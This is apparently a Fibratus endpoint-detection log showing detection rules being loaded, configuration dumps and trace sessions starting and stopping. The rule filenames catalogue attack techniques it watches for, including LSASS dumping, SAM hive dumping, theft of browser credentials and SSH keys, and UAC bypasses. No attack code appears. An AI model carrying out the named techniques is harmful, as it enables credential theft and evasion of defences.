msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:47:05+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:47:05+01:00 level=info msg=bootstrapping with pid 2128. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:47:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false use-template=>true port=>25 to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-fileio=>true enable-image=>true enable-threadpool=>false stack-enrichment=>true enable-thread=>true enable-mem=>false max-buffers=>36 enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-dns=>false enable-registry=>true enable-net=>true enable-handle=>false min-buffers=>16 enable-audit-api=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s enabled=>false method=>POST serializer=>json] elasticsearch=>[ flush-period=>1s bulk-workers=>1 healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus timeout=>5s healthcheck-interval=>10s healthcheck-timeout=>5s enabled=>false sniff=>false gzip-compression=>false] amqp=>[ routing-key=>fibratus delivery-mode=>transient exchange-type=>topic vhost=>/ durable=>false enabled=>false url=>amqp://localhost:5672 timeout=>5s exchange=>fibratus passive=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-registry=>false skip-allocs=>false scan-timeout=>10s enabled=>false excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:47:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:47:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:47:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:47:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:47:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:47:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T15:47:52+01:00 level=info msg=bootstrapping with pid 18316. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:47:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] port=>25 enabled=>false use-template=>true content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false enable-vamap=>true enable-fileio=>true enable-image=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-thread=>true min-buffers=>16 stack-enrichment=>true enable-registry=>true enable-audit-api=>true flush-interval=>1s max-buffers=>36 buffer-size=>512 enable-dns=>false enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true max-age=>0 max-backups=>15 level=>info] + output ......................... [ http=>[ enabled=>false serializer=>json timeout=>5s endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST] amqp=>[ enabled=>false url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient timeout=>5s vhost=>/ routing-key=>fibratus durable=>false passive=>false exchange-type=>topic tls-insecure-skip-verify=>false] elasticsearch=>[ timeout=>5s bulk-workers=>1 enabled=>false healthcheck-interval=>10s sniff=>false gzip-compression=>false flush-period=>1s healthcheck-timeout=>5s trace-log=>false healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] template-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false excluded-procs=>[] skip-files=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true enabled=>false excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:47:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:47:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:49:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:49:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:49:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:50:13+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 